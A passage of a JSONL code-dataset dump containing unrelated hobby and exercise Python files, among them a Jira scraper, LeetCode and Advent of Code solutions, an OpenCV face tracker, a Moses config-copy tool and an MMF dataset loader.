Apator\":\n driver.implicitly_wait(3)\n driver.find_element(By.ID, \"login-form-username\").send_keys(user)\n driver.find_element(By.ID, \"login-form-password\").send_keys(password)\n driver.find_element(By.ID, \"login-form-submit\").click()\n self._selenium_driver = driver\n if driver.title == \"Log in - Jira Apator\":\n raise PermissionError(\"Nieprawidłowe dane logowania\")\n else:\n raise ConnectionError(f\"Nieprawidłowa strona logowania do Jiry {login_page_url}\")\n\n def get_page_content_selenium(self, url: str) -> str:\n \"\"\" Pobranie zawartości strony z Jiry\n\n Metoda pobiera zawartość strony i zwraca ją w postaci HTML.\n W metodzie dodana jest linijka `time.sleep(1)`. Bez tej linijki metoda tylko za pierwszym razem pobierała\n całą zawartość strony, w kolejnych wywołaniach nie było już zawartości, która ładuje się już po wyświetleniu\n strony. W związku z tym nie działały funkcje wyszukujące konkretne tagi na stronie.\n\n :param url: Adres strony do pobrania\n :type url: str\n :return: Zawartość strony web w postaci HTML\n :rtype: str\n \"\"\"\n self._selenium_driver.get(url)\n time.sleep(1) # Patrz docstrings\n return self._selenium_driver.page_source\n\n # TODO: to już chyba nie będzie potrzebne. Na razie dane pobieram z epika. Do przemyślenia.\n def get_information_about_task(self, content: str) -> tuple[float, float, float]:\n \"\"\" Pobranie informacji o jednym tasku z Jiry\n\n Funkcja otrzymuje stronę z Jiry z informacjami o jednym tasku. Na podstawie otrzymanej zawartości funkcja\n odszukuje informacje o czasie dotyczącym jednego taska.\n\n :param content: Zawartość strony Jiry z informacjami o jednym tasku w postaci HTML\n :type content: str\n :return: Odczytane informacje o czasie: estimated, remaining, logged. Czas podawany jest w godzinach.\n :rtype: tuple[float, float, float]\n \"\"\"\n soup = BeautifulSoup(content, features='lxml')\n estimated_text = soup.find(id='tt_single_values_orig').text.strip()\n remaining_text = soup.find(id='tt_single_values_remain').text.strip()\n logged_text = soup.find(id='tt_single_values_spent').text.strip()\n\n estimated_time = self.convert_text_time_to_hours(estimated_text)\n remaining_time = self.convert_text_time_to_hours(remaining_text)\n logged_time = self.convert_text_time_to_hours(logged_text)\n\n return estimated_time, remaining_time, logged_time\n\n @classmethod\n def get_times(cls, tag_list: list[bs4.element.Tag]) -> tuple[float, float, float]:\n \"\"\" Pobranie informacji o sumarycznych czasach w epiku\n\n Funkcja pobiera z przekazanego taga informacje o sumarycznych czasach na epiku.\n\n :param tag_list: lista tagów 'dd'. Prawidłowo na liście powinien być tylko jeden tag. Jeżeli pojawi się więcej,\n to trzeba zmienić sposób wyszukiwania tagów.\n :type tag_list: list[bs4.element.Tag]\n :return: Sumaryczna informacja o czasach z epika: spent, remaining, estimated\n :rtype: tuple[float, float, float]\n \"\"\"\n if tag_list is None:\n raise TypeError(\"Nie znaleziono pozycji 'Time' w 'Summary Panel' dla epika\")\n if len(tag_list) > 1 or len(tag_list) == 0:\n raise ValueError(f\"Znaleziono nieprawidłową ilość ({len(tag_list)}) pozycji 'Time' w 'Summary Panel' dla \"\n f\"epika.\\n {tag_list}\")\n\n time_tag = tag_list[0]\n\n time_string = time_tag.get('title')\n if time_string is None:\n raise KeyError(f\"Nie znaleziono atrybutu 'title' w tagu '{time_tag}'\")\n time_list = time_string.split('\\n')\n\n spent = 0\n remaining = 0\n estimated = 0\n\n for one_time in time_list:\n time_values = one_time.split(':')\n if time_values[0].upper() == 'TIME SPENT':\n spent = cls.convert_text_time_to_hours(time_values[1])\n if time_values[0].upper() == 'REMAINING':\n remaining = cls.convert_text_time_to_hours(time_values[1])\n if time_values[0].upper() == 'ESTIMATED':\n estimated = cls.convert_text_time_to_hours(time_values[1])\n\n return spent, remaining, estimated\n\n @classmethod\n def get_epic_budget(cls, tag_list: list[bs4.element.Tag]) -> float:\n \"\"\" Pobranie informacji o budżecie wskazanego epika\n\n Funkcja pobiera z przekazanego epika informację o budżecie.\n\n :param tag_list: lista tagów 'strong'. Prawidłowo na liście powinien być jeden tag lub zero, jeżeli w epiku nie\n ma ustawionego budżetu\n :type tag_list: list[bs4.element.Tag]\n :return: budżet w formie ilości dni\n :rtype: float\n \"\"\"\n if tag_list is None or len(tag_list) == 0:\n return 0\n if len(tag_list) > 1:\n raise ValueError(f\"Znaleziono nieprawidłową ilość ({len(tag_list)}) pozycji 'Budżet zadania' dla \"\n f\"epika.\\n {tag_list}\")\n\n budget = 0\n for sibling_tag in tag_list[0].next_siblings:\n if sibling_tag.name == 'div':\n budget = float(sibling_tag.text.strip())\n return budget\n\n def get_information_about_epic(self, content: str) -> Epic:\n \"\"\" Pobranie informacji o epiku z Jiry\n Funkcja otrzymuje stronę z Jiry z informacjami o jednym epiku. Na podstawie otrzymanej zawartości funkcja\n odszukuje podstawowe informacje o wskazanym epiku.\n\n :param content: Zawartość strony Jiry z informacjami o jednym epiku w postaci HTML\n :type content: str\n :return: Odczytane informacje o epiku: nazwa, key, budżet, estimated time, logged time, remaining time.\n Czas podawany jest w godzinach.\n :rtype: jira_reader.epic.Epic\n \"\"\"\n soup = BeautifulSoup(content, features='lxml')\n\n # Pobranie podstawowych informacji z epika\n epic_name = soup.find(id='summary-val').text.strip()\n epic_key = soup.find(id='key-val').text.strip()\n\n # Pobranie budżetu z epika\n budget_tag_list = soup.find_all('strong', title='Budżet zadania')\n budget_days = self.get_epic_budget(budget_tag_list)\n\n # Pobranie czasów z epika: spent, remaining, estimated\n times_list = soup.find_all(class_='tt_values', title=re.compile('Time spent:'))\n spent_time, remaining_time, estimated_time = self.get_times(times_list)\n\n return Epic(epic_name, epic_key, estimated_time, remaining_time, spent_time, budget_days)\n","repo_name":"ZalewskiPiotr/jira_reader","sub_path":"jira_reader/jira.py","file_name":"jira.py","file_ext":"py","file_size_in_byte":10348,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22915306890","text":"# -*- coding: utf-8 -*-\n\n\nclass Solution:\n ANY_CHAR = 0\n ANY_CHARS = 1\n CERTAIN_CHAR = 2\n CERTAIN_CHARS = 3\n\n def DFS(self, s, p, s_pos, p_pos):\n if p_pos >= len(p):\n return s_pos >= len(s)\n e = p[p_pos]\n if e[0] == self.ANY_CHAR:\n if not self.skip_char(s, s_pos):\n return False\n return self.DFS(s, p, s_pos+1, p_pos+1)\n elif e[0] == self.ANY_CHARS:\n for n in range(self.get_count_of_char(s, s_pos) + 1):\n if not self.skip_n_chars(s, s_pos, n):\n continue\n if self.DFS(s, p, s_pos+n, p_pos+1):\n return True\n return False\n elif e[0] == self.CERTAIN_CHAR:\n if not self.skip_char(s, s_pos, e[1]):\n return False\n return self.DFS(s, p, s_pos+1, p_pos+1)\n else: # self.CERTAIN_CHARS\n for n in range(self.get_count_of_char(s, s_pos, e[1]) + 1):\n if not self.skip_n_chars(s, s_pos, n, e[1]):\n continue\n if self.DFS(s, p, s_pos+n, p_pos+1):\n return True\n return False\n\n def get_count_of_char(self, s: str, start_pos: int, char: str = None):\n if not char:\n return max(len(s) - start_pos, 0)\n cnt = 0\n while start_pos < len(s):\n if s[start_pos] != char:\n break\n cnt += 1\n start_pos += 1\n return cnt\n\n def skip_char(self, s: str, pos: int, char: str = None):\n return self.skip_n_chars(s, pos, 1, char)\n\n def skip_n_chars(self, s: str, pos: int, n: int, char: str = None):\n if pos + n - 1 >= len(s):\n return False\n if char:\n i = 0\n while i < n:\n if s[pos + i] != char:\n return False\n i += 1\n return True\n return True\n\n def normalize_pattern(self, p: str):\n new_p = []\n i = 0\n while i < len(p):\n if p[i] == \".\":\n if (i + 1) < len(p) and p[i+1] == \"*\":\n if len(new_p) == 0 or new_p[-1][0] != self.ANY_CHARS or new_p[-1][1] != p[i]:\n new_p.append((self.ANY_CHARS, p[i]))\n else:\n new_p.append((self.ANY_CHAR, p[i]))\n elif p[i] == \"*\":\n pass\n else:\n if (i + 1) < len(p) and p[i+1] == \"*\":\n if len(new_p) == 0 or new_p[-1][0] != self.CERTAIN_CHARS or new_p[-1][1] != p[i]:\n new_p.append((self.CERTAIN_CHARS, p[i]))\n else:\n new_p.append((self.CERTAIN_CHAR, p[i]))\n i += 1\n return new_p\n\n def isMatch(self, s: str, p: str) -> bool:\n pattern = self.normalize_pattern(p)\n return self.DFS(s, pattern, 0, 0)\n\n\nif __name__ == '__main__':\n s = Solution()\n # error:\n assert not s.isMatch(\"aaaaabaccbbccababa\", \"a*b*.*c*c*.*.*.*c\")\n assert not s.isMatch(\"mississippi\", \"mis*is*p*.\")\n # mine:\n assert s.isMatch(\"abc\", \".*\")\n assert not s.isMatch(\"abc\", \".\")\n assert not s.isMatch(\"abc\", \"*\") # * 开头应该理解为空串,跳过\n assert s.isMatch(\"abc\", \"a.c.*\")\n assert not s.isMatch(\"ac\", \"a.c.*\")\n assert not s.isMatch(\"abc\", \"a.c..*\")\n # 没有转义符,不需要支持转义\n assert s.isMatch(\"aaaa\", \"a*\")\n assert s.isMatch(\"abbac\", \"c*ab*a*c\")\n # a** 的含义呢? 应该和 a* 是等价的\n assert s.isMatch(\"abc\", \"a**bcd**\")\n assert s.isMatch(\"aaabc\", \"a*abc\") # pattern 处理的时候应该合并 a*a\n assert s.isMatch(\"aaabc\", \".*abc\") # 也需要合并 .*a\n assert s.isMatch(\"babacac\", \".*ac\") # 这种也要处理\n assert s.isMatch(\"babacac\", \".*acac\")\n assert s.isMatch(\"babacabac\", \".*bac\")\n # 应该用深搜的思路去做,.* 可以匹配0个,1个,2个 ...\n","repo_name":"shapled/leetcode-hard","sub_path":"python/p10.py","file_name":"p10.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15290714577","text":"'''\r\nProblem Statement:\r\nhttps://www.hackerrank.com/challenges/py-collections-deque/problem\r\n'''\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 28 11:25:24 2019\r\n\r\n@author: Kish\r\n\"\"\"\r\n\r\n#collections deque\r\nfrom collections import deque\r\nimport sys\r\nimport re\r\n\r\nd = deque()\r\n\r\ndef action(cmd,value):\r\n global d\r\n if(cmd == 'append'):\r\n d.append(value)\r\n elif(cmd == 'appendleft'):\r\n d.appendleft(value)\r\n elif(cmd == 'clear'):\r\n d.clear()\r\n elif(cmd == 'extend'):\r\n d.extend(value)\r\n elif(cmd == 'extendleft'):\r\n d.extendleft(value)\r\n elif(cmd == 'pop'):\r\n d.pop()\r\n elif(cmd == 'popleft'):\r\n d.popleft()\r\n elif(cmd == 'count'):\r\n d.count(value)\r\n elif(cmd == 'extend'):\r\n d.extend(value)\r\n elif(cmd == 'extendleft'):\r\n d.extendleft(value)\r\n elif(cmd == 'rotate'):\r\n d.rotate(value)\r\n\r\nn = int(input())\r\n\r\nfor i in range(n):\r\n line = input()\r\n value = re.findall('\\d+',line)\r\n if(not value):\r\n cmd = line\r\n else:\r\n cmd = line[:line.find(''.join(value))-1]\r\n #print(cmd)\r\n #print(value)\r\n value = ''.join(value)\r\n action(cmd.strip(),value)\r\n\r\nfor i in d:\r\n print(i,end=\" \")\r\n\r\n","repo_name":"jaikishanEngg/HackerRank_Python_Practice","sub_path":"Collections_Deque.py","file_name":"Collections_Deque.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"41736951754","text":"from model.project import Project\nfrom suds.client import Client\nfrom suds import WebFault\n\n\ndef test():\n client = Client(\"http://localhost/mantisbt-2.22.1/api/soap/mantisconnect.php?wsdl\")\n try:\n all_project = client.service.mc_projects_get_user_accessible(\"administrator\", \"test\")\n #b=list1.split(\"{\")\n i=0\n list_project=[]\n for element in all_project:\n list_project.append(Project(name=element['name'], description=element['description'], id=element['id']))\n\n print(list_project)\n print(list_project)\n\n except WebFault:\n return False\n\n\n","repo_name":"romanovaes/python_traning_mantis","sub_path":"test1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24373596242","text":"#!/usr/bin/env pipenv run python\nimport re\nimport itertools\nimport collections\nfrom dataclasses import dataclass\n\nfrom get_input import get_input, line_parser\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def __add__(self, other):\n if not isinstance(other, type(self)):\n return NotImplemented\n return Point(self.x + other.x, self.y + other.y)\n\n def __repr__(self):\n return f\"Point(x={self.x}, y={self.y})\"\n\n def __hash__(self):\n return hash((self.x, self.y))\n\n def __eq__(self, other):\n if not isinstance(other, type(self)):\n return NotImplemented\n return self.x == other.x and self.y == other.y\n\nclass BoardItem:\n def __init__(self, board=None, pos=None):\n self.board = board \n self.pos = pos\n\n def __str__(self):\n return self.__class__.char\n \nclass Wall(BoardItem):\n char = '#'\n\nclass Space(BoardItem):\n char = '.'\n\nclass Unit(BoardItem):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._hp = type(self).cls_hp\n self.ap = type(self).cls_ap\n\n @property\n def hp(self):\n return self._hp\n\n @hp.setter\n def hp(self, other):\n self._hp = other\n if self._hp <= 0:\n self.board[self.pos] = Space()\n if self.on_death:\n raise self.on_death(repr(self))\n\n def is_enemy(self, other):\n return isinstance(other, Unit) and not isinstance(other, type(self)) and other.hp > 0\n\n def find_defender(self):\n defender = None\n for diff in [self.board[self.pos + diff] for diff in self.board.READ_ORDER]:\n if self.is_enemy(diff):\n if not defender or diff.hp < defender.hp:\n defender = diff\n return defender\n\n @classmethod\n def make_unit_class(cls, char, attack=3, hp=200, on_death=None):\n unit_type = \"Elf\" if char == \"E\" else \"Goblin\"\n class Cls(cls):\n def __repr__(self):\n return f\"{unit_type}({repr(self.pos)}, attack={self.ap}, hp={self.hp})\"\n Cls.char = char\n Cls.cls_ap = attack\n Cls.cls_hp = hp\n Cls.on_death = on_death\n return Cls \n\n def get_targets(self):\n targets = set()\n enemies = [u for u in self.board.units if self.is_enemy(u)]\n if enemies == []:\n raise Board.NoEnemies\n for unit in enemies:\n for diff in self.board.READ_ORDER:\n if isinstance(self.board[unit.pos + diff], Space) or \\\n self.pos == unit.pos + diff:\n targets.add(unit.pos + diff)\n return targets\n\n def attack(self, defender):\n if defender is not None:\n defender.hp -= self.ap\n\n\nclass Board:\n READ_ORDER = (Point(0, -1), Point(-1, 0), Point(1, 0), Point(0, 1))\n\n def __init__(self, power=3):\n self._rows = []\n self.round = 0\n self.power = power\n\n class NoEnemies(Exception):\n pass\n\n @classmethod\n def make_board(cls, lines, mapping, power=3):\n board = cls(power)\n for y, line in enumerate(lines.splitlines()):\n for x, char in enumerate(list(line)):\n board[Point(x, y)] = mapping[char]()\n board.unit_order = board.units\n board.attacker = board.unit_order.pop(0)\n return board\n\n def __getitem__(self, pos):\n if isinstance(pos, Point):\n return self._rows[pos.y][pos.x]\n return NotImplemented\n\n def __setitem__(self, point, value):\n if not isinstance(point, Point):\n return NotImplemented\n elif not isinstance(value, BoardItem):\n return NotImplemented\n while point.y >= len(self._rows):\n self._rows.append([])\n while point.x >= len(self._rows[point.y]):\n self._rows[point.y].append(None)\n self._rows[point.y][point.x] = value\n value.board = self\n value.pos = point\n\n def __iter__(self):\n return iter(self._rows)\n\n @property\n def units(self):\n return [u for row in self for u in row if isinstance(u, Unit)]\n\n def find_move(self, attacker, targets):\n if attacker.pos in targets:\n return None\n queue = [(0, attacker.pos, None)]\n step_map = {}\n while queue:\n steps, pos, prev = queue.pop(0)\n if pos in step_map or not (isinstance(self[pos], Space) or prev is None): \n continue \n step_map[pos] = (steps, prev)\n for diff in self.READ_ORDER:\n queue.append((steps + 1, pos + diff, pos))\n smallest, first = None, None\n for square in [u for row in self for u in row]:\n steps, pos = step_map.get(square.pos, (smallest, first))\n if square.pos in targets and (smallest is None or smallest > steps):\n smallest, first = steps, square.pos \n if smallest is None:\n return attacker.pos\n prev = first\n while smallest is not None and smallest > 1:\n first = prev\n smallest, prev = step_map[first]\n return first or attacker.pos\n\n def __repr__(self):\n representation = [f\"Round {self.round}/{self.power}\"]\n representation.extend(''.join(str(u) for u in row) for row in self)\n representation.extend(repr(u) for u in self.units)\n return '\\n'.join(representation)\n\n def play_round(self):\n for attacker in self.units:\n if attacker.hp <= 0:\n continue\n targets = attacker.get_targets()\n move = self.find_move(attacker, targets)\n self[attacker.pos], self[move] = self[move], self[attacker.pos]\n defender = attacker.find_defender()\n attacker.attack(defender)\n self.round += 1\n\n\ndef part1(lines):\n \"\"\"Solution to part 1\"\"\"\n board = Board.make_board(lines, {\n 'E': Unit.make_unit_class('E'),\n 'G': Unit.make_unit_class('G'),\n '#': Wall,\n '.': Space})\n while True:\n try:\n board.play_round()\n except Board.NoEnemies:\n break\n return sum(u.hp for u in board.units) * board.round\n\ndef part2(lines):\n \"\"\"Solution to part 2\"\"\"\n goblin_class = Unit.make_unit_class('G')\n class DeadElf(Exception):\n pass\n for elf_ap in itertools.count(4):\n elf_class = Unit.make_unit_class('E', elf_ap, 200, DeadElf)\n board = Board.make_board(lines, {'E': elf_class, 'G': goblin_class, '#': Wall, '.': Space}, power=elf_ap)\n try:\n while True:\n board.play_round()\n except DeadElf:\n continue\n except Board.NoEnemies:\n return sum(u.hp for u in board.units) * board.round\n\nsample_boards = [(\"\"\"#######\n#.G...#\n#...EG#\n#.#.#G#\n#..G#E#\n#.....#\n#######\"\"\", 27730, 4988),\n(\"\"\"#######\n#G..#E#\n#E#E.E#\n#G.##.#\n#...#E#\n#...E.#\n#######\"\"\", 36334, None),\n(\"\"\"#######\n#E..EG#\n#.#G.E#\n#E.##E#\n#G..#.#\n#..E#.#\n#######\"\"\", 39514, 31284),\n(\"\"\"#######\n#E.G#.#\n#.#G..#\n#G.#.G#\n#G..#.#\n#...E.#\n#######\"\"\", 27755, 3478),\n(\"\"\"#######\n#.E...#\n#.#..G#\n#.###.#\n#E#G#G#\n#...#G#\n#######\"\"\", 28944, 6474),\n(\"\"\"#########\n#G......#\n#.E.#...#\n#..##..G#\n#...##..#\n#...#...#\n#.G...G.#\n#.....G.#\n#########\"\"\", 18740, 1140),\n]\n\nif __name__ == '__main__':\n for board, part1_score, part2_score in sample_boards:\n assert part1_score == part1(board)\n assert part2_score is None or part2_score == part2(board)\n board = get_input(day=15, year=2018)\n # Issues occure during round 90, (x: 10, y: 15)\n # Moves right when it should move down (Why?)\n print(\"Part 1: {}\".format(part1(board)))\n print(\"Part 2: {}\".format(part2(board)))\n # Not 47678 46140\n # Is 46784\n","repo_name":"ThomasZumsteg/adventofcode2018","sub_path":"day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":7805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15436334860","text":"# -- coding: utf-8 --\nimport cv2\nimport os\n\n\nif __name__==\"__main__\":\n result_path = './runs/detect/exp3'\n fname_list = os.listdir(result_path)\n new_ordered_fname_list = []\n for fname in fname_list:\n print(fname.split(\".imagebin.jpg\")[0])\n name_order = fname.split(\".png\")[0]\n name_order_minutes = name_order.split(\".\")[0]\n name_order_seconds = name_order.split(\".\")[1]\n new_ordered_fname_list.append(name_order_minutes*1000000+name_order_seconds)\n for new_fname in new_ordered_fname_list:\n img_full_fname = os.path.join(result_path, new_fname)\n img=cv2.imread(img_full_fname)\n cv2.imshow('result', img)\n cv2.waitKey(100)\n cv2.destroyAllWindows()","repo_name":"VanjeeBeiyanDeepModelDevelopingGroup/Innovusion_Lidar_Camera_Radar_Last_Stage_Fusion_Perception","sub_path":"yolov7/show_result.py","file_name":"show_result.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"73093087204","text":"#!/user/bin/ven python3\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom IPython import get_ipython\nipy = get_ipython()\nif ipy is not None:\n ipy.run_line_magic('matplotlib', 'inline')\n\n\ncap = cv2.VideoCapture(0)\nret, frame = cap.read()\nface_cascade = cv2.CascadeClassifier('../data/haarcascades/haarcascade_frontalface_default.xml')\nface_rect = face_cascade.detectMultiScale(frame)\n\n(face_x, face_y, w, h) = tuple(face_rect[0])\ntrack_window = (face_x, face_y, w, h)\nroi = frame[face_y:face_y+h, face_x:face_x+w]\n\nhsv_roi = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV)\nroi_hist = cv2.calcHist([hsv_roi], [0], None, [180], [0, 180])\ncv2.normalize(roi_hist, roi_hist, 0, 255, cv2.NORM_MINMAX)\nterm_criteria = (cv2.TermCriteria_EPS | cv2.TermCriteria_COUNT, 10, 1)\n\nwhile True:\n ret, frame = cap.read()\n if ret:\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n dst = cv2.calcBackProject([hsv], [0], roi_hist, [0, 180], 1)\n\n ##############################\n # ret, track_window = cv2.meanShift(dst, track_window, term_criteria)\n # x, y, w, h = track_window\n # img2 = cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 0, 255), 5)\n ##############################\n ret, track_window = cv2.CamShift(dst, track_window, term_criteria)\n pts = cv2.boxPoints(ret)\n pts = np.int0(pts)\n img2 = cv2.polylines(frame, [pts], True, (0, 0, 255), 2)\n\n cv2.imshow('img', img2)\n\n if cv2.waitKey(1) & 0xFF == 27:\n break\n else:\n break\n\n\ncv2.destroyAllWindows()\ncap.release()\n","repo_name":"jakiiii/OpenCV-Scratch","sub_path":"object_tracking/minShift_and_camShift_tracking.py","file_name":"minShift_and_camShift_tracking.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"24796015184","text":"#!/usr/bin/python3.10\n\n# pylint: skip-file\n\nimport hydra\nimport yaml # type: ignore\nfrom omegaconf import DictConfig, OmegaConf\n\n@hydra.main(version_base=None, config_path=\"../experiments/configs\")\ndef main(cfg: DictConfig) -> None:\n (experiment_type, conf) = list(cfg.items())[0]\n print(yaml.dump({\"experiment_type\": experiment_type}))\n print(OmegaConf.to_yaml(conf))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"LuchnikovI/lsqmbdp","sub_path":"src/get_config.py","file_name":"get_config.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16879049107","text":"n = int(input(\"Enter the value of n: \"))\r\nF1=0\r\nF2=1\r\n\r\nsum = 0\r\ncount = 1\r\nprint(\"Fibonacci series for n numbers is:\")\r\nwhile(count <= n):\r\n print(sum)\r\n count += 1\r\n F1 = F2\r\n F2 = sum\r\n sum = F1 + F2","repo_name":"mitmirani09/MycaptainPythonProgramming","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74785656483","text":"#!/usr/bin/env python\n#\n# Copies moses.ini and model files referenced within to a new location,\n# producing a modified moses.ini pointing to the files in the new location.\n#\n# Author: David Madl \n\nimport sys\nimport os\nimport glob\nimport shutil\nimport argparse\nimport logging\nfrom moses_ini import MosesIniParser, Feature, overrides\n\n\ndef argumentParser():\n parser = argparse.ArgumentParser(description='Copies a moses.ini file to a new location while ' +\n 'also copying the referenced data files.')\n addArguments(parser)\n return parser\n\n\ndef addArguments(parser):\n parser.add_argument('-f', '--input', dest='source_moses_ini', help='moses.ini in its original environment', nargs='?', default='/dev/stdin')\n parser.add_argument('-o', '--output', dest='target_moses_ini', help='target path to moses.ini or directory to store moses.ini', nargs='?', default='/dev/stdout')\n parser.add_argument('output_data_path', help='target path to a directory to store data files')\n parser.add_argument('-n', '--no-overwrite-data', dest='noOverwrite', help='do not overwrite data files if they already exist', action='store_true')\n parser.add_argument('-d', '--dry-run', dest='dryRun', help='do not actually copy data files, just print summary', action='store_true')\n # -t, -l used in moses-ini-change-table.py\n\n\ndef failMessage(message):\n sys.stderr.write('error: %s\\n' % message)\n sys.exit(1)\n\n\ndef fixPaths(args):\n if not os.path.isfile(args.source_moses_ini):\n failMessage('source_moses_ini %s is not a file.' % args.source_moses_ini)\n\n if os.path.isdir(args.target_moses_ini):\n # use default file name moses.ini if storing to a directory\n args.target_moses_ini = os.path.join(args.target_moses_ini, 'moses.ini')\n\n if not os.path.isdir(args.output_data_path):\n failMessage('output_data_path %s is not a directory.' % args.output_data_path)\n\n return args\n\n\nclass MosesIniConverter(MosesIniParser):\n def __init__(self, mosesIni, args, logger=None):\n super(MosesIniConverter, self).__init__(mosesIni, logger)\n self.targetDataPath = args.output_data_path\n self.convertedIniLines = []\n\n @overrides(MosesIniParser)\n def handleNonFeatureLine(self, iline, line):\n # replicate other lines we don't care about\n self.convertedIniLines.append(line)\n\n @overrides(MosesIniParser)\n def handleFeatureLine(self, nameStub, args, iline, line):\n \"\"\"Replace path if present and append (changed) feature line.\"\"\"\n\n # unique name for each feature (e.g. LM0)\n featureName = args['name']\n\n # the actual core reason why we parsed all the stuff\n if 'path' in args:\n #featureClass = Feature\n featureClass = self.featureClass(nameStub)\n feature = featureClass(nameStub, featureName, sourceDataPath=args['path'], logger=self.logger)\n\n # change path to the new targetDataPath-prefixed version\n args['path'] = feature.targetFeaturePath(self.targetDataPath)\n\n # use new target path in feature line\n line = self.makeFeatureLine(nameStub, args)\n self.pathedFeatures[featureName] = feature\n\n self.convertedIniLines.append(line)\n\n def featureClass(self, nameStub):\n return Feature\n\n def convert(self):\n self.run()\n return '\\n'.join(self.convertedIniLines)\n\n\ndef main(mosesIniConverterClass, argumentParser):\n args = argumentParser.parse_args()\n args = fixPaths(args)\n\n logging.basicConfig(level=logging.INFO)\n\n with open(args.source_moses_ini) as fin:\n converter = mosesIniConverterClass(fin, args, logger=logging.getLogger())\n result = converter.convert()\n\n with open(args.target_moses_ini, 'w') as fo:\n fo.write(result)\n\n # copy the feature data files for features with a given 'path' attribute\n for f in converter.pathedFeatures:\n converter.pathedFeatures[f].copyData(converter.targetDataPath, args.noOverwrite, args.dryRun)\n\n\nif __name__ == '__main__':\n main(MosesIniConverter, argumentParser())\n","repo_name":"cidermole/bricks","sub_path":"scripts/moses-ini-copy-setup.py","file_name":"moses-ini-copy-setup.py","file_ext":"py","file_size_in_byte":4148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31396217934","text":"# --- Job 006 --- #\r\n\r\nLISTA_DE_IP = ['000.12.12.034','121.234.12.12','23.45.12.56','00.12.123.123123.123','122.23','Hello.IP']\r\n\r\ndef VerificaIpValido(ip):\r\n Contem4 = []\r\n ip = str(ip).split(sep='.') \r\n for i in ip:\r\n if len(i) <= 3 and i.isnumeric():\r\n Contem4.append(i)\r\n else:\r\n break \r\n if len(Contem4) == 4:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nfor i in LISTA_DE_IP:\r\n print(VerificaIpValido(i))\r\n\r\n\r\n \r\n","repo_name":"OswaldoRodriguesM14/EcoTalentos","sub_path":"006.py","file_name":"006.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"9041925084","text":"from mmf.datasets.base_dataset import BaseDataset\nfrom mmf.common.sample import Sample\n\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\nimport pandas as pd\nimport os\n\nclass MaskedSBUDataset(BaseDataset):\n def __init__(self, config, dataset, imdb_file_index, *args, **kwargs):\n if \"name\" in kwargs:\n name = kwargs[\"name\"]\n elif \"dataset_name\" in kwargs:\n name = kwargs[\"dataset_name\"]\n else:\n name = \"masked_sbu\"\n super().__init__(name, config, dataset, index=imdb_file_index)\n\n self.photos = []\n self.captions = []\n file1 = os.path.join(self.config.data_dir, config.features)\n file2 = os.path.join(self.config.data_dir, config.annotations)\n\n for line1, line2 in zip(open(file1), open(file2)):\n url = line1.rstrip()\n caption = line2.rstrip()\n self.photos.append(url)\n self.captions.append(caption) \n\n if dataset != \"train\":\n self.photos = self.photos[:2048]\n self.captions = self.captions[:2048] \n\n def init_processors(self):\n super().init_processors()\n\n def __getitem__(self, idx):\n current_sample = Sample()\n url, caption = self.photos[idx], self.captions[idx]\n caption_data = {\"text\": caption}\n try:\n response = requests.get(url)\n if response.status_code == 200:\n img = Image.open(BytesIO(response.content))\n current_sample.image = self.image_processor(img)\n else:\n return None\n except:\n return None\n processed_question = self.text_processor(caption_data)\n current_sample.text = processed_question[\"text\"]\n if \"input_ids\" in processed_question:\n current_sample.update(processed_question)\n\n return current_sample\n\n \n def __len__(self):\n return len(self.photos)\n\n","repo_name":"thwjoy/mmf","sub_path":"mmf/datasets/builders/sbu_captions/masked_dataset.py","file_name":"masked_dataset.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"50"} +{"seq_id":"70067680155","text":"import math\nclass Solution(object):\n def kClosest(self, points, k):\n \"\"\"\n :type points: List[List[int]]\n :type k: int\n :rtype: List[List[int]]\n \"\"\"\n output=[[0,0]]*k\n distances=[0]*k\n for i in range(len(points)):\n distance=(points[i][0]**2)+(points[i][1]**2)\n if(idistance):\n distances[maximum]=distance\n output[maximum]=points[i]\n return output\n","repo_name":"ananiya0000/competitive-programming","sub_path":"k-closest-points-to-origin.py","file_name":"k-closest-points-to-origin.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"75201744475","text":"from django.conf.urls import patterns, url\nfrom blog.views import ArticleListView, TagListView, ArticleDetailView, AuthorListView\nfrom blog.feeds import BlogFeed\n\nurlpatterns = 